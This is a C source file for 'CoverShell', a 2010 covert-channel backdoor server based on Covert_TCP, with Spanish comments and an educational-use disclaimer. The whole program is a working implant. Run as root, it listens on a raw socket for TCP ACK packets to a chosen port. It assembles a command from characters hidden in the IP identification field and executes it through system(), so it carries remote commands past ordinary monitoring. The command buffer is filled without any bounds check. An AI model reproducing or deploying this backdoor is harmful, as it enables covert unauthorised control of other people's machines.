/*******************************************************
* Autor: Joaquín Moreno Garijo
* Fecha: 26 de Octubre de 2010
* Basado en Covert_TCP de Craig H. Rowland 
* Copyright 2010 S2 Grupo 
*
* This file is part of CoverShell
* 
* CoverShell is free software: you can redistribute it and/or modify it under the terms of 
* the GNU General Public License as published by the Free Software Foundation, either version 
* of the License, or (at your option) any later version.
*
* CoverShell is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without 
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See 
* the GNU General Public License for more details.
* 
* You should have received a copy of the GNU General Public License along with CoverShell. 
* If not, see <http://www.gnu.org/licenses/>.
*
* Detalles sobre su utilización pueden encontrarse en la siguiente 
* página web: http://www.securityartwork.es/2010/10/26/covert-channels/
*
* La información aquí proporcionada se ofrece al público únicamente fines educativos, 
* no siendo los autores responsables de un uso indebido y malintencionado de la herramienta.
*
*******************************************************/



/*
*    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
*   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
*   |Version|  IHL  |Type of Service|          Total Length         |
*   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
*   |         Identification        |Flags|      Fragment Offset    |
*   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
*   |  Time to Live |    Protocol   |         Header Checksum       |
*   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
*   |                       Source Address                          |
*   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
*   |                    Destination Address                        |
*   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
*   |                    Options                    |    Padding    |
*   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
*/

//Librerias requeridas
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/ip.h>
#include <linux/tcp.h>

//Version del programa
#define VERSION "0.1"

//Declaracion de funciones
void levantaServicio(unsigned short puerto);
void uso(char *progname);
unsigned int getIP(char *hostname);

//Principal
void main(int argc, char **argv)
{
	//Variables
	unsigned short puerto;

	//¿Soy Root?
	if(geteuid() !=0)
	{
		printf("\nSi no eres root te comes un colacao.\n\n");
		exit(1);
	}

	//Argumentos
	if(argc != 3)
	{
		uso(argv[0]);
		exit(1);
	}


	//Obtenemos el puerto
	if (strcmp(argv[1],"-port") == 0)
     	{
	     	puerto=atoi(argv[2]);
		//printf("Puerto: %u\n", puerto);
	}
	else
	{
		uso(argv[0]);
		exit(1);
	}

	levantaServicio(puerto);

	//Nos vemos
	exit(0);
}

//Muestra el uso del programa
void uso(char *progname)
{
	printf("Opciones invalidas\n Xinet: %s -port puertoEscucha\n\n", progname);
	exit(1);
}

//De entero a caracter por Robert Jan Schaper 
char* itoa(int val, int base)
{
	static char buf[32] = {0};

	int i = 30;

	for(; val && i ; --i, val /= base)

		buf[i] = "0123456789abcdef"[val % base];

	return &buf[i+1];	
}


//Levanta un servicio que recoge las cosas
void levantaServicio(unsigned short puerto)
{
	//Variables para el socket del servidor
	int recv_socket;
	struct sockaddr_in sin;

	//Variables genericas
	int tam = 100;
	unsigned int dato;
	char comando[1000];
	comando[0] = '\0';
	char *datoC;
	int cont = 0;
	char aux;
	int pos = 0;

	//Estructura de recibo de paquete TCP
	/*struct tcphdr {
		unsigned short source;
		unsigned short dest;
		unsigned long seq;
		unsigned long ack_seq;	
		unsigned short res1:4;
		unsigned short doff:4;
		unsigned short fin:1;
		unsigned short syn:1;
		unsigned short rst:1;
		unsigned short psh:1;
		unsigned short ack:1;
		unsigned short urg:1;
		unsigned short res2:2;
		unsigned short window;	
		unsigned short check;
		unsigned short urg_ptr;
	};
	//Cabecera IP
	struct iphdr {
		__u8 	tos
		__u16 	tot_len
		__u16 	id
		__u16 	frag_off
		__u8 	ttl
		__u8 	protocol
		__u16 	check
		__u32 	saddr
		__u32 	daddr
	};
	*/
	struct recv_tcp
	{
		struct iphdr ip;
		struct tcphdr tcp;
		//Nos la empapela lo que lleve el paquete
		char buffer[tam];
	} recv_pkt;
	
	//El servidor siempre esta en marcha
	while(1) 
 	{
		//Levantamos el socket
		recv_socket = socket(AF_INET, SOCK_RAW, 6);
		if(recv_socket < 0)
   		{
			perror("Error levantando el socket");
			exit(1);
   		}

		//Escuchamos 
		read(recv_socket, (struct recv_tcp *)&recv_pkt, tam);

		//Restriccion de paquete: !SYN ACK y puerto = puerto_seleccionado
		//printf("-> %u - %u\n",recv_pkt.tcp.dest, htons(puerto));
  		if((recv_pkt.tcp.syn == 0) && (recv_pkt.tcp.ack == 1) && (recv_pkt.tcp.dest ==  htons(puerto)))
   		{
			//Obtenemos el dato
			dato = recv_pkt.ip.id/256;
        		
			//Tres 255 implica ejecucion de codigo
			if(dato == 255)
			{
				cont++;
				if(cont == 2)
				{
					//Fianlizamos el vector de caracteres
					comando[pos]='\0';					

					//Se ejecuta la orden
					printf("Comando: %s\n", comando);

					system(comando);

					cont = 0;
					pos = 0;
				}	
			}	
			else
			{
				//Mostramos lo que que cogemos en la ip_id
				printf("Dato recibido: %d\n", dato);

				//Pasamos el valor a ascii
				//datoC = itoa(dato, 10);
				//printf("-> %s\n",datoC);

				//Parseamos el valor numerico a ascii
				aux = (char)dato;
				//printf("Valor del caracter leido: %c\n", aux);

				//Vamos generando el comando
				comando[pos] = aux;
				pos++; 
				//printf("Comando: %s\n", comando);	
			}
		}

		//Cierra el socket
		close(recv_socket);

	}//Fin del while a la escucha
}




